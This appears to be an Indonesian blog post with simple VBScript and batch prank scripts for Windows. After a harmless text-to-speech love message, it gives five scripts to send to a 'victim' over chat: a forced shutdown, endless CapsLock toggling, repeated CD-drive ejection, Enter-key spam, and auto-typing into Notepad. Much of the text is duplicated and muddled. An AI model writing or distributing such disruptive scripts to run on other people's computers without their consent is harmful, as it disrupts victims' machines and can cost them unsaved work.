, kali ini gue mau membahas bagaimana membuat komputer kita berbicara.
Buka Notepad, dan copy script dibawah ini :
Dim msg, sapi
msg ="You have one massage, please click my heart to read it"
Set sapi = CreateObject ("sapi.spvoice")
sapi.Speak msg
Save dengan nama massage.vbs atau dengan nama lain, tetapi berakhiran .vbs
Jika sudah selesai, klik file tersebut dan dengarkan pesannya.
NB:
1. Aktifkan speaker / Headset anda
2. Kalimat yang berwarna merah bisa diganti sesuai keinginan kalian. Jika ingin diganti, usahakan menggunakan bahasa inggris, soalnya kalo pake bahasa Indonesia keliatan hancurnya. :p
3. Bisa dipakai untuk menembak seseorang/ merayu dengan mengirimkan file ini menggunakan chat.
Buka Notepad, dan copy script dibawah ini :
Dim msg, sapi
msg ="You have one massage, please click my heart to read it"
Set sapi = CreateObject ("sapi.spvoice")
sapi.Speak msg
Save dengan nama massage.vbs atau dengan nama lain, tetapi berakhiran .vbs
Jika sudah selesai, klik file tersebut dan dengarkan pesannya.
NB:
1. Aktifkan speaker / Headset anda
2. Kalimat yang berwarna merah bisa diganti sesuai keinginan kalian. Jika ingin diganti, usahakan menggunakan bahasa inggris, soalnya kalo pake bahasa Indonesia keliatan hancurnya. :p
3. Bisa dipakai untuk menembak seseorang/ merayu dengan mengirimkan file ini menggunakan chat.
File ini bisa kalian kirimkan ke teman dengan menggunakan Yahoo Massanger,MSN, GoogleTalk, Skype dan semua fasilitas chat messenger yang mendukung send file
INGAT, Semua File di-paste ke notepad dengan nama file yang berakhiran .exe. Misalnya NomorHape.exe BUKAN .txt
Cara 1 :
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
Simpan dengan nama file : terserah_agan.BAT ,, type file : All File dan kirimkan 
efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN

efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN

Cara 2 :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(jika dimatikan maka tombolnya otomatis nyala lagi)
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan

efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(jika dimatikan maka tombolnya otomatis nyala lagi)

Cara 3 :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out terus menerus ,,,
(jka dimatikan maka tombolnya otomatis nyala lagi)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan

efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out terus menerus ,,,
(jka dimatikan maka tombolnya otomatis nyala lagi)

Cara 4 :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan

efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus

Cara 5 :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION

kalimat "Hello, how are you? I am good thanks" ,, bisa agan ubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan

efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION


kalimat "Hello, how are you? I am good thanks" ,, bisa agan ubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas

Sumber : Disini
Cara Stop Script-nya : Start Menu - Run - Task Manager
Setelah masuk menu Task Manager, klik Tab Processes, cari file yg di list aktif bernama wscript.exe, sorot file tsb dan klik Tombol End
Setelah masuk menu Task Manager, klik Tab Processes, cari file yg di list aktif bernama wscript.exe, sorot file tsb dan klik Tombol End
Tidak ada komentar:
Posting Komentar